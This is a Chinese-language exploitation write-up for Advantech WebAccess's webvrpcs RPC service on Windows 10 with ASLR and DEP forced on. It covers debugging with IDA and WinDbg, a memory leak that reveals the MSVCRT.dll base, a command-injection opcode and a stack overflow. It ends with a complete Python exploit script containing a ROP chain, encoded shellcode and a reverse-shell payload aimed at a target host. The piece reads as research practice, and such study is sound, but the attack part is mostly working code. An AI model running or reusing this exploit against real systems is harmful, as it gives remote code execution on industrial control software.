本次实验讨论在Win10 21h2 x86
系统,程序未开启ASLR,所以当初的栈溢出利用很简单,这里将程序加入WDEG
,默认开启DEP
和ASLR
,使用IDA
和Windbg
相结合的方式对其进行分析。
安装程序可以从Exploit-DB
上下载:https://www.exploit-db.com/exploits/44278
用下面的POC
来跟进程序执行,梳理程序的运行流程:(包含了impacket
,直接在kali
里运行即可)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 import sys, struct from impacket import uuidfrom impacket.dcerpc.v5 import transportdef call(dce, opcode, stubdata): dce.call(opcode, stubdata) res = -1 try: res = dce.recv() except Exception as e: print ("Exception encountered..." + str(e)) sys.exit(1) return res if len(sys.argv) != 2: print ("Provide only host arg" ) sys.exit(1) port = 4592 interface = "5d2b62aa-ee0a-4a95-91ae-b064fdb471fc" version = "1.0" host = sys.argv[1] string_binding = "ncacn_ip_tcp:%s" % host trans = transport.DCERPCTransportFactory(string_binding) trans.set_dport(port) print ("Connecting to the target" )dce = trans.get_dce_rpc() dce.connect() iid = uuid.uuidtup_to_bin((interface, version)) dce.bind(iid) print ("Getting a handle to the RPC server" )stubdata = struct.pack("<I" , 0x02) res = call(dce, 4, stubdata) if res == -1: print ("Something went wrong" ) sys.exit(1) res = struct.unpack("III" , res) if (len(res) < 3): print ("Received unexpected length value" ) sys.exit(1) print ("Sending payload" )opcode = 11111 stubdata = struct.pack("<IIII" , res[2], opcode, 0x111, 0x222) buf = bytearray([0x41]*0 x1000) stubdata += buf res = call(dce, 1, stubdata) print (res)print ("Done, disconnecting" )dce.disconnect()
因为webvkeep
是一个监控程序,会维持一个关于webvrpcs
的心跳包,windbg attach webvrpcs
调试的时候会暂停webvrpcs
,导致webvkeep
会重启webvrpcs
,所以在windbg
调试之前,先把webvkeep
挂起来。
因为这里分析的程序与rpc
协议相关,考虑IDA Plugin
mIDA 来加快分析
上面POC
使用的Opcode
为0x01
,这里跟进到0x01
所对应的函数sub_401260
,IDA
中跟进到函数所在地址,暂时看不出来更多信息,在windbg
中相应位置下断点:
这里有个小诀窍,windbg
和IDA
结合着看,一般只看自定义的函数即可,系统自带的函数可以直接跳过。
结合IDA
看一下:
sub_4046D0
似乎挺有意思,windbg
中跟进sub_402C60
:
执行sub_4046D0
之前,寄存器值的情况,ebx
中保存的是POC
传入的Opcode 11111
,看一下此刻栈中保存的值:
我们传入的Opcode 11111
会做为参数进入sub_4046D0
函数,跟进该函数,后续进入一系列判断:
判断Opcode
是否在0x2710h
到0x4E20h
之间,0x2b67(11111)
在它们之间。最后,进入如下分支:
DaDaqWebService
函数是我们需要找到的函数,跟进去看一下,注意windbg
中如下指令:
其中,edx
保存的是传入的Opcode
,edx
的值减去0x2710h(10000)
,然后存入eax
,后续都是拿eax
的值在进行比较。观察IDA
的分支,其实分成三部分,eax
大于78h(118)
、小于78h(分小于和等于)
。
大于或者小于分支:
小于或者等于分支:
在小于78h
下面的分支中,发现一个有意思的地方:
调用了fopen
函数,如果该函数没有关闭打开的文件句柄,是可以导致内存信息泄露的,跟进发现fopen
后续没有对应的关闭句柄操作。因为程序开启了ASLR
,可以通过这个地方的脆弱点导致内存信息泄露,进而Bypass ASLR
。
fopen
的参数是我们可以控制的,注意fopen
每个参数代表的意义。先来确定需要多少字符才能覆盖到ecx
和eax
。
fopen
调用之前,看一下ecx
和eax
的值:
得到他们的offset
为如下所示:
随便找一个存在的文件名,看一下代码相关部分:
1 2 3 4 opcode = 0x277a stubdata = struct.pack("<IIII" , res[2 ], opcode, 0x111 , 0x222 ) buf = bytearray(b"C:\\ WebAccess\\ Node\\ BwPAlarm.dll" +b"\x00" *230 +b"r" +b"\x00" *0x500 )
eax
和ecx
设置不正确会出现Invalid parameter passed to C runtime function
。我开始把两个值设置反了,导致出现这个异常。
来看一下设置正确后,fopen
执行之后,发现返回的指针指向MSVCRT.DLL
的某个地址:
进一步验证,发现POC
代码的返回值也是指向MSVCRT.DLL
某个地址的指针。这样,就可以获取MSVCRT.DLL
的基地址,然后从MSVCRT.DLL
中产生ROP Gadgets
,最终可以Bypass ASLR
。
继续看一下Opcode
为0x2711
时,最后会进入如下分支:
跟进sub_1D17B0
:
lpCommandLine
是我们可以控制的,导致这里存在命令注入。windbg
中调试确认一下:
现在命令注入只能启动系统已有的程序(包括自带的或其他安装的程序),为了能够触发反弹shell
,考虑是否可以触发一个程序,然后该程序存在栈溢出,进而触发反弹shell
。
Advantech WebAccess
中就存在很多这样的程序,这里以bwaccrts.exe
为例。
开启windbg
调试子进程:
或者将windbg
执行目录加入环境变量,然后管理员权限下的cmd
,运行windbg -I
,这样程序崩溃后会启动windbg
进行调试。
启动bwaccrts.exe
的部分代码如下:
1 2 3 4 5 6 7 8 9 10 opcode = 0x2711 stubdata = struct.pack("<IIII" , res[2 ], opcode, 0x204 , 0x204 ) overflow = b"\x41" *0x1000 attack = b"C:\\ WebAccess\\ Node\\ bwaccrts.exe 1 %s" %overflow attlen = len(attack) fmt = "<" +str(attlen)+"s" stubdata += struct.pack(fmt, attack) res = call(dce, 1 , stubdata) print(res)
查看windbg
:
可以看到EIP
被覆盖了,这里存在栈溢出。IDA
中看一下:
漏洞点在sscanf
函数,因为我们控制的输入会传入sscanf
函数,最终导致栈溢出。
梳理一下利用流程:
1.利用0x277A
的内存信息泄露获取MSVCRT.dll
的基地址
2.构建基于MSVCRT.dll
的ROP Chain
3.利用0x2711
的代码注入漏洞,启动bwaccrts.exe
4.栈溢出bwaccrts.exe
5.最终绕过ASLR
和DEP
注意:源程序是未开启ASLR和DEP的,相对比较好利用,本地开启了ASLR和DEP之后,利用难度增加,试了好几次没有成功
注意到自己下载的版本高了,导致某些漏洞触发不了。换成Advantech WebAccess 8.0 。
因为漏洞实在是太多,这里选择IOCTL 0x138B4
作为本次分析的漏洞触发点。其实开启ASLR
之后,要触发本程序的关键在于找到泄露内存信息的漏洞点,前面提到的泄露MSVCRT.dll
地址可继续作为Bypass ASLR
的利用点之一。
跟踪IOCTL 0x138B4
产生的漏洞点比较麻烦,需要跳转几个DLL
。主要的漏洞触发路径为:
webvrpcs+0x1260(sub_401260:处理RPC 操作码0x01):
webvrpcs+0x2c10(sub_402c10):
webvrpcs+0x4590(sub_404590):
调用BwRPCOpctoolService
bwopctool!BwRPCOpctoolService:
BwOpcSvc!BwSvcFunction:
一堆分支
进入漏洞点函数:
BwBASScdDl!SCDDownloadTo:
最终,导致栈溢出,EIP
被覆盖:
因为这里开启了ASLR
和DEP
,现在需要考虑的是如何构建ROP Chain
。结合前面分析可知MSVCRT.DLL
的基地址是可以泄露出来的,所有后续ROP Gadget
都从这个DLL
中获取即可Bypass ASLR
。
题外话:关于如何获取VirtualProtect
函数参数lpflOldProtect
的值,这个参数需要指定为一个可写属性的内存区域。比较好的办法可以使用!address
命令来搜索一块属性为PAGE_READWRITE
的内存空间,命令如下:
1 !address /f:PAGE_READWRITE
来看一下结果:
任意选一块内存内容为空的地址作为lpflOldProtect
参数值即可:
另外有个小的注意事项,覆盖EIP
的值需要是MSVCRT.DLL
中有执行权限的地址。
1 !py mona find -type instr -s "retn" -m MSVCRT.DLL -cpb "\x00"
利用脚本写多了,老是容易忘记一些简单的细节点,导致最终利用出现莫名其妙的小问题。
最终的利用代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 import sys, structfrom impacket import uuidfrom impacket.dcerpc.v5 import transportdef call (dce, opcode, stubdata) : dce.call(opcode, stubdata) res = -1 try : res = dce.recv() except Exception as e: print("Exception encountered..." + str(e)) sys.exit(1 ) return res if len(sys.argv) != 2 : print("Provide only host arg" ) sys.exit(1 ) port = 4592 interface = "5d2b62aa-ee0a-4a95-91ae-b064fdb471fc" version = "1.0" host = sys.argv[1 ] string_binding = "ncacn_ip_tcp:%s" % host trans = transport.DCERPCTransportFactory(string_binding) trans.set_dport(port) print("Connecting to the target" ) dce = trans.get_dce_rpc() dce.connect() iid = uuid.uuidtup_to_bin((interface, version)) dce.bind(iid) print("Getting a handle to the RPC server" ) stubdata = struct.pack("<I" , 0x02 ) res = call(dce, 4 , stubdata) if res == -1 : print("Something went wrong" ) sys.exit(1 ) res = struct.unpack("III" , res) if (len(res) < 3 ): print("Received unexpected length value" ) sys.exit(1 ) print("Sending payload" ) shellcode = b"" shellcode += b"\xbd\xc3\xbe\xde\xb4\xda\xc2\xd9\x74\x24\xf4" shellcode += b"\x58\x2b\xc9\xb1\x52\x83\xc0\x04\x31\x68\x0e" shellcode += b"\x03\xab\xb0\x3c\x41\xd7\x25\x42\xaa\x27\xb6" shellcode += b"\x23\x22\xc2\x87\x63\x50\x87\xb8\x53\x12\xc5" shellcode += b"\x34\x1f\x76\xfd\xcf\x6d\x5f\xf2\x78\xdb\xb9" shellcode += b"\x3d\x78\x70\xf9\x5c\xfa\x8b\x2e\xbe\xc3\x43" shellcode += b"\x23\xbf\x04\xb9\xce\xed\xdd\xb5\x7d\x01\x69" shellcode += b"\x83\xbd\xaa\x21\x05\xc6\x4f\xf1\x24\xe7\xde" shellcode += b"\x89\x7e\x27\xe1\x5e\x0b\x6e\xf9\x83\x36\x38" shellcode += b"\x72\x77\xcc\xbb\x52\x49\x2d\x17\x9b\x65\xdc" shellcode += b"\x69\xdc\x42\x3f\x1c\x14\xb1\xc2\x27\xe3\xcb" shellcode += b"\x18\xad\xf7\x6c\xea\x15\xd3\x8d\x3f\xc3\x90" shellcode += b"\x82\xf4\x87\xfe\x86\x0b\x4b\x75\xb2\x80\x6a" shellcode += b"\x59\x32\xd2\x48\x7d\x1e\x80\xf1\x24\xfa\x67" shellcode += b"\x0d\x36\xa5\xd8\xab\x3d\x48\x0c\xc6\x1c\x05" shellcode += b"\xe1\xeb\x9e\xd5\x6d\x7b\xed\xe7\x32\xd7\x79" shellcode += b"\x44\xba\xf1\x7e\xab\x91\x46\x10\x52\x1a\xb7" shellcode += b"\x39\x91\x4e\xe7\x51\x30\xef\x6c\xa1\xbd\x3a" shellcode += b"\x22\xf1\x11\x95\x83\xa1\xd1\x45\x6c\xab\xdd" shellcode += b"\xba\x8c\xd4\x37\xd3\x27\x2f\xd0\x1c\x1f\x74" shellcode += b"\xa9\xf5\x62\x8a\xb8\x59\xea\x6c\xd0\x71\xba" shellcode += b"\x27\x4d\xeb\xe7\xb3\xec\xf4\x3d\xbe\x2f\x7e" shellcode += b"\xb2\x3f\xe1\x77\xbf\x53\x96\x77\x8a\x09\x31" shellcode += b"\x87\x20\x25\xdd\x1a\xaf\xb5\xa8\x06\x78\xe2" shellcode += b"\xfd\xf9\x71\x66\x10\xa3\x2b\x94\xe9\x35\x13" shellcode += b"\x1c\x36\x86\x9a\x9d\xbb\xb2\xb8\x8d\x05\x3a" shellcode += b"\x85\xf9\xd9\x6d\x53\x57\x9c\xc7\x15\x01\x76" shellcode += b"\xbb\xff\xc5\x0f\xf7\x3f\x93\x0f\xd2\xc9\x7b" shellcode += b"\xa1\x8b\x8f\x84\x0e\x5c\x18\xfd\x72\xfc\xe7" shellcode += b"\xd4\x36\x1c\x0a\xfc\x42\xb5\x93\x95\xee\xd8" shellcode += b"\x23\x40\x2c\xe5\xa7\x60\xcd\x12\xb7\x01\xc8" shellcode += b"\x5f\x7f\xfa\xa0\xf0\xea\xfc\x17\xf0\x3e" def create_rop_chain (dllbase) : rop_gadgets = [ dllbase+0x000819e8 , 0x80808080 , dllbase+0x00068805 , 0x7f7f7fc0 , dllbase+0x000395b2 , 0x41414141 , 0x41414141 , dllbase+0x00057994 , 0x41414141 , dllbase+0x0008acc9 , dllbase+0x0008acc9 , dllbase+0x00068805 , 0xfbdbbd24 , dllbase+0x0009f669 , dllbase+0x00017926 , dllbase+0x0003a5d1 , dllbase+0x000b6df7 , dllbase+0x0008686e , dllbase+0x00041a05 , dllbase+0x00068445 , dllbase+0x0000d178 , dllbase+0x000a10da , dllbase+0x000b81ac , dllbase+0x00056f67 , dllbase+0x0000a47d , ] return b'' .join(struct.pack('<I' , _) for _ in rop_gadgets) opcode_leak = 0x277a stubdata = struct.pack("<IIII" , res[2 ], opcode_leak, 0x111 , 0x222 ) buf = bytearray(b"C:\\Windows\\System32\\MSVCRT.dll" +b"\x00" *230 +b"r" +b"\x00" +b'deadbeef' *0x1000 ) stubdata += buf print(len(stubdata)) res = call(dce, 1 , stubdata) res_int = struct.unpack("<L" ,res)[0 ] dllbase = (res_int-0x000B2600 )//0x10000 *0x10000 print(dllbase) print("dllbase: " +hex(dllbase)) dce.disconnect() rop_chain = create_rop_chain(dllbase) dce = trans.get_dce_rpc() dce.connect() iid = uuid.uuidtup_to_bin((interface, version)) dce.bind(iid) print("Getting a handle to the RPC server" ) stubdata = struct.pack("<I" , 0x02 ) res = call(dce, 4 , stubdata) if res == -1 : print("Something went wrong" ) sys.exit(1 ) res = struct.unpack("III" , res) if (len(res) < 3 ): print("Received unexpected length value" ) sys.exit(1 ) print("Sending payload" ) opcode = 0x138B4 stubdata = struct.pack("<IIII" , res[2 ], opcode, 0x111 , 0x222 ) junk1 = b"\x41" *2240 nops = b"\x90" *32 eip = struct.pack("<L" ,dllbase+0x00004e50 ) junk2 = b"\x42" *(4096 -2240 -4 -len(rop_chain)-len(shellcode)-32 ) payload = junk1+eip+rop_chain+nops+shellcode+junk2 stubdata += payload res = call(dce, 0x01 , stubdata) print(res) print("Done, disconnecting" ) dce.disconnect()
喜闻乐见的反弹shell
:
参考:
1.https://www.zerodayinitiative.com/advisories/ZDI-16-053/
2.https://www.tenable.com/plugins/nnm/9862
3.https://blog.exodusintel.com/2018/09/13/to-traverse-or-not-to-that-is-the-question/
4.https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/-address